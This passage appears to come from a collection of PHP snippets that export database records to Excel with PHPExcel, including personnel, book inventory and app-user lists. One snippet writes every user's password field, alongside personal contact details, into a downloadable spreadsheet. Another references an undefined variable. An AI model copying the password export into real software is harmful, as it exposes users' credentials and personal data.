$tgl_pen);\n\n if ($diff->y > 57) {\n $excel->setActiveSheetIndex(0)->setCellValue('AV' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AW' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AX' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AY' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AZ' . $numrow, '');\n } else {\n $excel->setActiveSheetIndex(0)->setCellValue('AV' . $numrow, $diff->y);\n $excel->setActiveSheetIndex(0)->setCellValue('AW' . $numrow, $diff->m);\n $excel->setActiveSheetIndex(0)->setCellValue('AX' . $numrow, $diff->d);\n $excel->setActiveSheetIndex(0)->setCellValue('AY' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AZ' . $numrow, '');\n }\n\n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('K' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('L' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('M' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('N' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('O' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('P' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Q' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('R' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('S' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('T' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('U' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('V' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('W' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('X' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Y' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Z' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AA' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AB' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AC' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AD' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AE' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AF' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AG' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AH' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AI' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AJ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AK' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AL' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AM' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AN' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AO' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AP' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AQ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AR' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AS' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AT' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AU' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AV' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AW' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AX' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AY' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AZ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(30);\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(50);\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(20);\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('O')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('P')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('Q')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('R')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('S')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('T')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('U')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('V')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('W')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('X')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('Y')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('Z')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AA')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AB')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AC')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AD')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AE')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AF')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AG')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AH')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AI')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AJ')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AK')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AL')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AM')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AN')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AO')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AP')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AQ')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AR')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AS')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AT')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AU')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AV')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AW')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AX')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AY')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AZ')->setWidth(5);\n\n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n date_default_timezone_set('Asia/Jakarta');\n $date = date(\"mY\");\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Data A1\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data A1' . $date . '.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n header('Content-Transfer-Encoding: binary');\n header('Accept-Ranges: bytes');\n header('Cache-control: no-cache, pre-check=0, post-check=0');\n header('Cache-control: private');\n header('Pragma: private');\n header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // any date in the past\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "public function DowloadExcel()\n {\n return $export->sheet('sheetName', function($sheet)\n {\n\n })->export('xls');\n }", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "public function export() \n \t\t{\n \t\t$data = $this->model_user->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data User SN Health Care');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:I')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:J1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR USER APLIKASI SN HEALTH CARE');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Email');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Password');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Nomor Handphone');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Wilayah');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:J2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(20);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->user_name);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, $v->user_sex);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->user_datebirth);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->user_email);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->user_password);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->user_phone);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->district_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->user_address);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->user_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:J' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar User Aplikasi SN Health Care.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/user');\n \t\t}", "public function export(){\n include APPPATH.'third_party/PHPExcel/Classes/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('My Notes Code')\n ->setLastModifiedBy('My Notes Code')\n ->setTitle(\"Data Buku\")\n ->setSubject(\"tb_buku\")\n ->setDescription(\"Laporan Semua Data Buku\")\n ->setKeywords(\"Data Buku\");\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"RELASI INTI MEDIA ( FAMILIA, ISTANA MEDIA, QUDSI MEDIA DAN FORUM )\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A2', \"Jl. Permadi Nyutran RT/RW. 61/19 MJ II No. 1606 C, Wirogunan, Mergangsan, Yogyakarta 55151\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"Email: relasidistribusi@gmail.com Telp: (0274) 2870300\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A5', \"DATA BUKU\");\n $excel->getActiveSheet()->mergeCells('A1:N1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A2:N2'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A3:N3'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A5:N5'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setSize(15);\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A3')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A5')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A7', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('B7', \"KODE BUKU\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('C7', \"JUDUL\"); // Set kolom B3 dengan tulisan \"NIS\"\n $excel->setActiveSheetIndex(0)->setCellValue('D7', \"KATEGORI\"); // Set kolom C3 dengan tulisan \"NAMA\"\n $excel->setActiveSheetIndex(0)->setCellValue('E7', \"PENULIS\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n $excel->setActiveSheetIndex(0)->setCellValue('F7', \"PENERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('G7', \"UKURAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('H7', \"JUMLAH HALAMAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I7', \"ISBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('J7', \"TAHUN TERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('K7', \"HARGA (Rp)\");\n $excel->setActiveSheetIndex(0)->setCellValue('L7', \"STOK\");\n $excel->setActiveSheetIndex(0)->setCellValue('M7', \"KETERANGAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('N7', \"STATUS\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n 